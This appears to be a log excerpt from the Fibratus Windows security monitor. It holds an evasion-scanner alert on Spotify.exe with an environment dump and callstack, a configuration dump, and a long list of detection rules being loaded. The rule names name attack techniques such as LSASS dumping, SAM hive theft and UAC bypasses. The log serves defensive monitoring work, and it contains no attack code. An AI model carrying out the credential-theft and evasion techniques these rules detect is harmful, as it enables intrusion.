["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8492_WHFCMZBBDXUCVAMT COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe56275014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7ffe5612bd7a C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffe5612c203 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9beb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9be8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffec9b84304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffec9a5b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5b26c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a6f83e C:\Windows\System32\combase.dll!Ordinal68|0x7ffec9a6e992 C:\Windows\System32\combase.dll!Ordinal68|0x7ffec9a6e487 C:\Windows\System32\combase.dll!Ordinal68|0x7ffec9a6e102 C:\Windows\System32\combase.dll!Ordinal68|0x7ffec9a6d291 C:\Windows\System32\combase.dll!Ordinal68|0x7ffec9ad29cb C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffec9a85a94 C:\Windows\System32\combase.dll!CoMarshalInterface|0x7ffec9a85650 C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9e1018d C:\Windows\System32\rpcrt4.dll!NdrPointerMarshall|0x7ffec9e0e0e9 C:\Windows\System32\rpcrt4.dll!NdrComplexStructMarshall|0x7ffec9ed63b2 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ffec9ed5816 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ffec9e16c50 C:\Windows\System32\rpcrt4.dll!NdrStubCall3|0x7ffec9abac1d C:\Windows\System32\combase.dll!CStdStubBuffer_Invoke|0x7ffec9abab5b C:\Windows\System32\combase.dll!RoClearError|0x7ffec9aba0d6 C:\Windows\System32\combase.dll!RoClearError|0x7ffec9ab9721 C:\Windows\System32\combase.dll!RoClearError|0x7ffec9b295d6 C:\Windows\System32\combase.dll!HBITMAP_UserSize|0x7ffec9a8ebf4 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffec9a94988 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffec9a92ec0 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffec9b8561b C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffec8777846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffec877539d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffec9a783d7 C:\Windows\System32\combase.dll!CoRegisterSurrogateEx|0x7ffec9a76ab3 C:\Windows\System32\combase.dll!CoDisconnectObject|0x7ffec9b421c1 C:\Windows\System32\combase.dll!RoParameterizedTypeExtraGetTypeSignature|0x7ffec9b42079 C:\Windows\System32\combase.dll!RoParameterizedTypeExtraGetTypeSignature|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:38:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T15:38:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T15:38:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T16:01:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-03T16:01:10+01:00 level=info msg=bootstrapping with pid 16584. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T16:01:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false enable-vamap=>true buffer-size=>512 min-buffers=>16 max-buffers=>36 enable-registry=>true stack-enrichment=>true enable-fileio=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-mem=>true enable-image=>true enable-dns=>false enable-handle=>false enable-audit-api=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text level=>info max-backups=>15 log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s serializer=>json enabled=>false method=>POST] elasticsearch=>[ enabled=>false timeout=>5s gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus trace-log=>false healthcheck-timeout=>5s healthcheck=>true flush-period=>1s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus enabled=>false durable=>false passive=>false tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus exchange-type=>topic timeout=>5s delivery-mode=>transient]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] skip-mmaps=>false excluded-files=>[] fastscan=>true enabled=>false skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T16:01:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:01:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:01:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T16:01:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T16:01:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from 